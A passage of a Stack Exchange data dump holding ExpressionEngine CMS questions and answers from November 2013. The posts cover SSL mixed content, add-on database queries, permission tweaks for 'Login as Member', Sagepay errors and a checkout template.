  <row Id="17074" PostTypeId="2" ParentId="17063" CreationDate="2013-11-23T04:48:39.150" Score="2" Body="&lt;p&gt;Get yourself &lt;a href=&quot;http://ee-zoo.com/add-ons/triggers/&quot; rel=&quot;nofollow&quot;&gt;Zoo Triggers&lt;/a&gt; and you will love yourself!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_triggers:archive channel=&quot;news&quot; status=&quot;open&quot; show_counter=&quot;no&quot; type=&quot;year&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just make sure you give the &lt;a href=&quot;http://ee-zoo.com/docs/triggers/start/overview.html&quot; rel=&quot;nofollow&quot;&gt;settings docs a once over&lt;/a&gt; to get it set up like you want.&lt;/p&gt;&#xA;" OwnerUserId="219" LastActivityDate="2013-11-23T04:48:39.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17076" PostTypeId="1" AcceptedAnswerId="17132" CreationDate="2013-11-23T05:57:24.547" Score="2" ViewCount="599" Body="&lt;p&gt;I've installed an SSL on my server and I'm forcing https:// via htaccess. The entire site needs to be secured. Unfortunately, the browsers are complaining of insecure content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{stylesheet='assets/css.layout'}&quot;&amp;gt;&#xA;{site_url}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These evaluate to a URL that begin with &lt;code&gt;http://&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still exploring the problem, so there might be other issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to do in EE so that I don't get URLs that begin with &lt;code&gt;http://&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-11-25T23:13:34.960" Title="EE, SSL, and insecure content" Tags="|security|secure|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17077" PostTypeId="2" ParentId="17076" CreationDate="2013-11-23T09:19:13.507" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;It's because EE variables don't detect or utilise https by default, so&#xA;  you have to set them in code. The easiest way is to use an add-on:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/https-support&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://devot-ee.com/add-ons/https-support&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/dm-force-ssl&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://devot-ee.com/add-ons/dm-force-ssl&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/force-ssl&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://devot-ee.com/add-ons/force-ssl&lt;/a&gt; (commercial)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;(In no particular order) I've not used any of these so can't recommend&#xA;  a specific one as I use my own plugin.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;em&gt;via: &lt;a href=&quot;https://stackoverflow.com/a/12211420/25286&quot;&gt;https://stackoverflow.com/a/12211420/25286&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also, here is an older article, but with some useful tips:&#xA;&lt;a href=&quot;https://exp-resso.com/blog/post/2011/08/securing-your-expressionengine-website-with-https&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://exp-resso.com/blog/post/2011/08/securing-your-expressionengine-website-with-https&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-11-23T09:19:13.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17078" PostTypeId="1" CreationDate="2013-11-23T09:40:23.510" Score="1" ViewCount="115" Body="&lt;p&gt;I'm working on a site that has a template which shows a range of information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly the page shows a few paragraphs of text. These often contain email addresses within the text, meaning I'd like to have 'Automatically turn URL's into links' turned on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, the page shows some contact information, including an email address, which I'd like to display as 'Email Address: Click here' rather than 'Email Address: Someone@abc.com' due to space restrictions. In this case, if I turn on 'Automatically turn URL's into links' I get a lot of strange code output on the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to avoid splitting this information between two different channels, as it makes sense for the customer to be able to enter or edit both peices of content from the same screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know a way to enable automatic links for the channel but stop the issue with the 'Email Address: Click here'?&lt;/p&gt;&#xA;" OwnerUserId="432" LastEditorUserId="28" LastEditDate="2013-11-23T20:15:40.813" LastActivityDate="2013-11-23T20:17:07.260" Title="How to control which links are automatically turned into links" Tags="|email|url|links|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17079" PostTypeId="2" ParentId="15389" CreationDate="2013-11-23T10:45:32.927" Score="0" Body="&lt;p&gt;Case sensitivity apparently is (well, &lt;em&gt;can be&lt;/em&gt;) different between the parameters for channel entries and those for relationship fields. It's not a black-and-white difference, though, and is to do with one being governed by MySQL and the other being governed by PHP. See &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19913&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19913&lt;/a&gt; for more info.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2013-11-23T10:45:32.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17080" PostTypeId="1" CreationDate="2013-11-23T13:55:37.737" Score="1" ViewCount="303" Body="&lt;p&gt;I'm using wygwam 3.2.2 and EE 2.7.2. I'm attempting to overwrite a file from the upload diaglog &quot;The file could not be written to disk.&quot; However, this is only on certain user groups. The super-admin group allows you to and brings up the &quot;rename file&quot;. Am I missing a setting somewhere? I checked that that user group is allowed to upload files in that directory (and they can). However, this issue only occurs when a user in a particular group attempts to overwrite a file. Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2013-11-23T13:55:37.737" Title="Wygwym replace file: The file could not be written to disk" Tags="|wygwam|uploads|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17081" PostTypeId="2" ParentId="17055" CreationDate="2013-11-23T14:03:01.577" Score="1" Body="&lt;p&gt;solved.  the member profile theme was incorrectly set&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-11-23T14:03:01.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17082" PostTypeId="1" AcceptedAnswerId="17083" CreationDate="2013-11-23T15:36:26.117" Score="4" ViewCount="154" Body="&lt;p&gt;I'm trying to enable the &quot;Login as Member&quot; functionality for a non-Super Admin member group. Here's what I've done so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;/system/expressionengine/controllers/cp/members.php&lt;/code&gt;, line 534, I changed to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;session-&amp;gt;userdata('group_id') != 1 || $this-&amp;gt;session-&amp;gt;userdata('group_id') != 6)&#xA;        {&#xA;            show_error(lang('unauthorized_access'));&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;/system/expressionengine/controllers/cp/members.php&lt;/code&gt;, line 594, I changed to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;session-&amp;gt;userdata['group_id'] != 1 || $this-&amp;gt;session-&amp;gt;userdata['group_id'] != 6)&#xA;        {&#xA;            show_error(lang('unauthorized_access'));&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in &lt;code&gt;/system/expressionengine/controllers/cp/myaccount.php&lt;/code&gt;, line 167, I changed to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( ($this-&amp;gt;session-&amp;gt;userdata('group_id') == 1 || $this-&amp;gt;session-&amp;gt;userdata('group_id') == 6) &amp;amp;&amp;amp; $this-&amp;gt;id != $this-&amp;gt;session-&amp;gt;userdata('member_id') )&#xA;            {&#xA;                $vars['login_as_member'] = TRUE;&#xA;            } else {&#xA;                $vars['login_as_member'] = FALSE;&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, after doing this, when I click the &quot;Login as Member&quot; link while logged in to either member group, I get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You are not authorized to access this page&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on what else I can do to get this working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.6.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Yes, I'm documenting this! :) &lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-11-23T16:38:46.070" Title="Enable &quot;Login as Member&quot; for Additional Member Groups" Tags="|core-hacks|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17083" PostTypeId="2" ParentId="17082" CreationDate="2013-11-23T16:38:46.070" Score="5" Body="&lt;p&gt;it is happend because of logic error in lines 534 &amp;amp; 594 - you need replace it to AND logic not OR &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        if ($this-&amp;gt;session-&amp;gt;userdata('group_id') != 1 &amp;amp;&amp;amp; $this-&amp;gt;session-&amp;gt;userdata('group_id') != 6)&#xA;        {&#xA;            show_error(lang('unauthorized_access'));&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-11-23T16:38:46.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17084" PostTypeId="1" AcceptedAnswerId="17086" CreationDate="2013-11-23T17:56:44.697" Score="1" ViewCount="85" Body="&lt;p&gt;i'm developing an addon. While developing i'm encountering a strange problem that I don't know how to solve. It's like EE is executing the wrong queries or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when I call this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$channel_info = ee()-&amp;gt;api_channel_structure-&amp;gt;get_channel_info(2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result is completely off:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;pre&amp;gt;';&#xA;echo 'CHANNEL INFO:';&#xA;print_r($channel_info-&amp;gt;result());&#xA;echo '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Giving me this information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CHANNEL INFO:Array&#xA;(&#xA;    [0] =&amp;gt; stdClass Object&#xA;        (&#xA;            [child_id] =&amp;gt; 11&#xA;            [order] =&amp;gt; 3&#xA;        )&#xA;&#xA;    [1] =&amp;gt; stdClass Object&#xA;        (&#xA;            [child_id] =&amp;gt; 4&#xA;            [order] =&amp;gt; 2&#xA;        )&#xA;&#xA;    [2] =&amp;gt; stdClass Object&#xA;        (&#xA;            [child_id] =&amp;gt; 2&#xA;            [order] =&amp;gt; 1&#xA;        )&#xA;&#xA;    [3] =&amp;gt; stdClass Object&#xA;        (&#xA;            [child_id] =&amp;gt; 10&#xA;            [order] =&amp;gt; 4&#xA;        )&#xA;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a result from a former executed query like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$result = ee()-&amp;gt;db-&amp;gt;query($sql);&#xA;$this-&amp;gt;_result_array = $result-&amp;gt;result_array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I need to clear the db class or something? I'm not sure what's causing this. Hopefully someone can give me a push in the right direction here? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Ok, I have solved the problem by adding this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;db-&amp;gt;_reset_select();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before calling:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$channel_info = ee()-&amp;gt;api_channel_structure-&amp;gt;get_channel_info(2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Still, I'm not sure why I have to call this manually...&lt;/p&gt;&#xA;" OwnerUserId="2146" LastEditorUserId="2146" LastEditDate="2013-11-23T18:24:40.807" LastActivityDate="2013-11-23T20:05:02.977" Title="Add on development. Database class not executing correct queries" Tags="|add-on|add-on-development|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17086" PostTypeId="2" ParentId="17084" CreationDate="2013-11-23T20:05:02.977" Score="3" Body="&lt;p&gt;If you are in an extension, it's possible that the db class is in the midst of a query. I'll show an example. Let's say this was the core EE code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;db-&amp;gt;select('some_column');&#xA;&#xA;ee()-&amp;gt;db-&amp;gt;where('some_column', 1);&#xA;&#xA;// your code gets called here, while the active record methods have already been invoked&#xA;ee()-&amp;gt;extensions-&amp;gt;call('some_hook');&#xA;&#xA;$query = ee()-&amp;gt;db-&amp;gt;get('some_table');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't remember which hooks fall into this pattern, but I know I've been bitten by it once or twice. If you find yourself in a scenario like this, here is the solution. Make a copy of the db like this (&lt;a href=&quot;https://gist.github.com/rsanchez/6553852&quot; rel=&quot;nofollow&quot;&gt;gist&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = ee()-&amp;gt;load-&amp;gt;database(array(&#xA;  'dbdriver' =&amp;gt; 'mysql',&#xA;  'conn_id' =&amp;gt; ee()-&amp;gt;db-&amp;gt;conn_id,&#xA;  'database' =&amp;gt; ee()-&amp;gt;db-&amp;gt;database,&#xA;  'dbprefix' =&amp;gt; ee()-&amp;gt;db-&amp;gt;dbprefix,&#xA;), TRUE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and make all your db calls using &lt;code&gt;$db&lt;/code&gt; instead of &lt;code&gt;ee()-&amp;gt;db&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might also add that the way you've solved it by doing &lt;code&gt;ee()-&amp;gt;db-&amp;gt;_reset_select()&lt;/code&gt; could interfere with the original query and have unintended consequences. With this method you won't run any chance of interfering with other queries.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-11-23T20:05:02.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17087" PostTypeId="2" ParentId="17078" CreationDate="2013-11-23T20:17:07.260" Score="2" Body="&lt;p&gt;Wrap the email address tag with the &lt;a href=&quot;https://github.com/EllisLab/No-Formatting&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;No Formatting&lt;/strong&gt;&lt;/a&gt; plugin tags.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:no_formatting}&#xA;    {email}&#xA;{/exp:no_formatting}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-23T20:17:07.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17088" PostTypeId="1" CreationDate="2013-11-23T21:51:14.633" Score="1" ViewCount="75" Body="&lt;p&gt;One of my clients, a membership-based education resources site, has asked if there is a way to allow non-members to see members-only content but only when following a link shared on Facebook or on Pinterest and, possibly, Twitter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are ways to reveal a referrer but I'm not sure how reliable those are? Or even if JS or PHP is the best or even the only way to handle this feature? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any known / tested alternatives to doing this sort of thing?&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2013-11-24T04:14:54.103" LastActivityDate="2013-11-24T09:37:17.970" Title="Allow Access to Members-Only Content for Visitors Coming from Specific Referrers?" Tags="|members|social|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17089" PostTypeId="1" CreationDate="2013-11-23T22:24:04.690" Score="4" ViewCount="121" Body="&lt;p&gt;I've an EE1 site (I know, just..quiet) running SL Google Maps to geolocate posts. It just started not responding from the CP side of things and I suspect that it's related to Google discontinuing support for an older API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any options here besides upgrading it all to EE2?  I just wasn't quite ready for that task yet.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2013-11-25T16:53:14.217" Title="EE1 &amp; SL Google Map" Tags="|google-maps-for-ee|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17090" PostTypeId="2" ParentId="17011" CreationDate="2013-11-23T22:31:13.187" Score="1" Body="&lt;p&gt;Apparently this had to do with moving from Exp Eng 2.5 to version 2.7. In the upgrade documentation they now recommend that you replace entirely the system folder by moving your current system folder to system_old. My guess is that there was some old code in the system directory that was causing this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution was to start with a fresh system folder directly from the 2.7 install files. Having already done the upgrade I replaced the files, re-uploaded all of my custom files (config and database), and my third party add-ons. Everything worked correctly after that.&lt;/p&gt;&#xA;" OwnerUserId="505" LastActivityDate="2013-11-23T22:31:13.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17091" PostTypeId="2" ParentId="17088" CreationDate="2013-11-24T09:37:17.970" Score="2" Body="&lt;p&gt;Preventing link sharing is dificult and indeed referrer is not 100% secure too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could include some code in the url that is posted to these websites. On the landing page for that url, you could fetch the code from the segment and get the entry with that code and serve the content without checking for membership.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-11-24T09:37:17.970" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17092" PostTypeId="1" CreationDate="2013-11-24T10:29:42.620" Score="1" ViewCount="133" Body="&lt;p&gt;I have a Cartthrob MSM installation (2 stores) that use sagepay (europe offsite) for processing payments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every time I try to make a payment through the sites, I get all the way through the payment process and at the very end I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; HTTP Status Code:    500 &#xA;&amp;gt; HTTP Status Message: The request was unsuccessful due to an unexpected condition encountered by the server.&#xA;&amp;gt; Error Code :         5006 &#xA;&amp;gt; Error Description :  Unable to redirect to Vendor's web site. The Vendor failed to provide a RedirectionURL.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've checked that extload.php is configured correctly, and when I output the NotificationURL value from the gateway plugin it looks correct:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mysite.com/themes/third_party/cartthrob/lib/extload.php/sage_s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any experience of this error and possible solutions? I contacted the hosts (Nexcess) who said they couldn't think of any security that might be on the server, stopping a callback from sage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying to get these sites working for a week through a host of errors, I'm hoping this is the last hurdle.&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2014-01-01T16:55:14.483" Title="Cartthrob MSM Sagepay 5006 error" Tags="|cartthrob|multi-site-manager|sagepay|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17093" PostTypeId="1" CreationDate="2013-11-24T19:03:18.727" Score="0" ViewCount="244" Body="&lt;p&gt;I get this error message on submit of my form. Does anyone know what it means?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Invalid form id(s) submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HZJPt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SakeP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="197" LastEditDate="2013-11-26T02:09:42.890" LastActivityDate="2013-11-26T12:49:08.473" Title="FreeForm Error message" Tags="|solspace-freeform|solspace|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="17094" PostTypeId="2" ParentId="17089" CreationDate="2013-11-24T19:57:26.317" Score="1" Body="&lt;p&gt;There was another addon (free) called CoolLocation that worked for EE1 along these lines. &lt;a href=&quot;http://devot-ee.com/add-ons/coollocation&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/coollocation&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect you'll have the same issues with the changes to the Google API, but it might be worth a shot. I'm not sure you can find it online anymore -but holler if you need a copy - I've got one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you've already got all your coords and aren't creating new entries, you can also roll your own new map using Mabox/Leaflet.&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2013-11-24T19:57:26.317" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17095" PostTypeId="1" AcceptedAnswerId="17098" CreationDate="2013-11-24T21:57:48.370" Score="1" ViewCount="193" Body="&lt;p&gt;I'm running Expresso Store 2.0.6, Zoo Visitor 1.3.30, and EE 2.7.2, and having an issue with Expresso Store checkout not displaying the Zoo Visitor details of the logged in user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've mapped all Zoo Visitor fields in Expresso Store &gt; Settings &gt; Order Fields, but when a logged in user goes to the Checkout, their details are not being shown in the fields.  I'm just using the built in {field:xxx) tag (ie {field:shipping_address1} ) to show the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I map these fields to the Member fields, then they DO show up. The issue with this is that Zoo Visitor doesn't save back to the normal Member custom fields (either in the CP or using the update Front-End tags) ... so I can't use them either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else replicate this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="140" LastActivityDate="2013-11-25T09:05:14.803" Title="Expresso Store 2 not mapping Zoo Visitor fields on checkout" Tags="|expresso-store|zoo-visitor|" AnswerCount="2" CommentCount="4" ClosedDate="2013-11-25T21:10:48.253" ContentLicense="CC BY-SA 3.0" />
  <row Id="17096" PostTypeId="2" ParentId="17041" CreationDate="2013-11-25T08:31:45.187" Score="1" Body="&lt;p&gt;After some help from @Adrian Macneil, I tried installing Store and ZV again. No luck, so with Store installed, started removing all OTHER add-ons and tracked it down to version 1.0.6 of LibrarEE. An update to 1.0.7 sorted it.&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2013-11-25T08:31:45.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17097" PostTypeId="2" ParentId="17095" CreationDate="2013-11-25T08:57:39.133" Score="2" Body="&lt;p&gt;I have answered this question &lt;a href=&quot;https://expressionengine.stackexchange.com/a/14774/156&quot;&gt;asked previously&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have recently completed a build using Store 2 and Zoo Visitor, I ran&#xA;  into this issue but came up with a working solution.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA;    next=&quot;cart/review&quot;&#xA;    register_member=&quot;yes&quot;&#xA;    disable_javascript=&quot;yes&quot;&#xA;    require=&quot;name|order_email|address1|city|state|postcode|country&quot;&#xA;    error_handling=&quot;inline&quot; error_delimiters='&amp;lt;div&gt;|&amp;lt;/div&gt;' }&#xA;    {if no_items}{redirect=&quot;cart&quot;}{/if}&#xA;&#xA;    {!-- Avoid issues with parse order --}&#xA;    {exp:ifelse parse=&quot;inward&quot;}&#xA;        {if logged_in}&#xA;            {exp:zoo_visitor:details {global:disable_categories}}&#xA;        {/if}&#xA;    {/exp:ifelse}&#xA;&#xA;    &amp;lt;h2&gt;Billing Information&amp;lt;/h2&gt;&#xA;&#xA;    &amp;lt;label for=&quot;billing_first_name&quot;&gt;First Name&amp;lt;/label&gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;billing_first_name&quot; value=&quot;{if billing_first_name}{billing_first_name}{if:elseif&#xA;logged_in}{visitor:member_first_name}{/if}&quot;&gt;&#xA;    {error:billing_first_name}&#xA;&#xA;    &amp;lt;label for=&quot;billing_last_name&quot;&gt;Last Name&amp;lt;/label&gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;billing_last_name&quot; value=&quot;{if billing_last_name}{billing_last_name}{if:elseif&#xA;logged_in}{visitor:member_last_name}{/if}&quot;&gt;&#xA;    {error:billing_last_name}&#xA;&#xA;    &amp;lt;label for=&quot;billing_address1&quot;&gt;Street address&amp;lt;/label&gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;billing_address1&quot; value=&quot;{if billing_address1}{billing_address1}{if:elseif&#xA;logged_in}{visitor:billing_address}{/if}&quot;&gt;&#xA;    {error:billing_address1}&#xA;&#xA;    &amp;lt;label for=&quot;billing_city&quot;&gt;Suburb&amp;lt;/label&gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;billing_city&quot; value=&quot;{if billing_city}{billing_city}{if:elseif&#xA;logged_in}{visitor:billing_city}{/if}&quot;&gt;&#xA;    {error:billing_city}&#xA;&#xA;    &amp;lt;label for=&quot;billing_state&quot;&gt;State&amp;lt;/label&gt;&#xA;    &amp;lt;select name=&quot;billing_state&quot;&gt;&#xA;        &amp;lt;option value=&quot;ACT&quot; {if (billing_state AND billing_state == &quot;ACT&quot;) OR visitor:billing_state == &quot;ACT&quot;}selected{/if}&gt;Australian&#xA;Capital Territory&amp;lt;/option&gt;&#xA;        &amp;lt;option value=&quot;NSW&quot; {if (billing_state AND billing_state == &quot;NSW&quot;) OR visitor:billing_state == &quot;NSW&quot;}selected{/if}&gt;New South&#xA;Wales&amp;lt;/option&gt;&#xA;        &amp;lt;option value=&quot;NT&quot;  {if (billing_state AND billing_state == &quot;NT&quot; ) OR visitor:billing_state == &quot;NT&quot; }selected{/if}&gt;Northern&#xA;Territory&amp;lt;/option&gt;&#xA;        &amp;lt;option value=&quot;QLD&quot; {if (billing_state AND billing_state == &quot;QLD&quot;) OR visitor:billing_state ==&#xA;&quot;QLD&quot;}selected{/if}&gt;Queensland&amp;lt;/option&gt;&#xA;        &amp;lt;option value=&quot;SA&quot;  {if (billing_state AND billing_state == &quot;SA&quot; ) OR visitor:billing_state == &quot;SA&quot; }selected{/if}&gt;South&#xA;Australia&amp;lt;/option&gt;&#xA;        &amp;lt;option value=&quot;VIC&quot; {if (billing_state AND billing_state == &quot;VIC&quot;) OR visitor:billing_state ==&#xA;&quot;VIC&quot;}selected{/if}&gt;Victoria&amp;lt;/option&gt;&#xA;        &amp;lt;option value=&quot;WA&quot;  {if (billing_state AND billing_state == &quot;WA&quot; ) OR visitor:billing_state == &quot;WA&quot; }selected{/if}&gt;Western&#xA;Australia&amp;lt;/option&gt;&#xA;    &amp;lt;/select&gt;&#xA;    {error:billing_state}&#xA;&#xA;    &amp;lt;label for=&quot;billing_postcode&quot;&gt;Postcode&amp;lt;/label&gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;billing_postcode&quot; value=&quot;{if billing_postcode}{billing_postcode}{if:elseif&#xA;logged_in}{visitor:billing_postcode}{/if}&quot;&gt;&#xA;    {error:billing_postcode}&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;billing_country&quot; value=&quot;AU&quot;&gt;&#xA;&#xA;&#xA;    &amp;lt;label for=&quot;billing_phone&quot;&gt;Contact Number&amp;lt;/label&gt;&#xA;    &amp;lt;input type=&quot;tel&quot; name=&quot;billing_phone&quot; value=&quot;{if billing_phone}{billing_phone}{if:elseif&#xA;logged_in}{visitor:billing_phone}{/if}&quot;&gt;&#xA;    {error:billing_phone}&#xA;&#xA;    {if logged_out}&#xA;        &amp;lt;label for=&quot;order_email&quot;&gt;Email Address&amp;lt;/label&gt;&#xA;        &amp;lt;input type=&quot;email&quot; name=&quot;order_email&quot; value=&quot;{order_email}&quot;&gt;&#xA;        {error:order_email}&#xA;    {/if}&#xA;&#xA;    {!-- Avoid issues with parse order --}&#xA;    {exp:ifelse parse=&quot;inward&quot;}&#xA;        {if logged_in}&#xA;            {/exp:zoo_visitor:details}&#xA;        {/if}&#xA;    {/exp:ifelse}&#xA;&#xA;{/exp:store:checkout}&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Presentation HTML and Shipping Details removed for 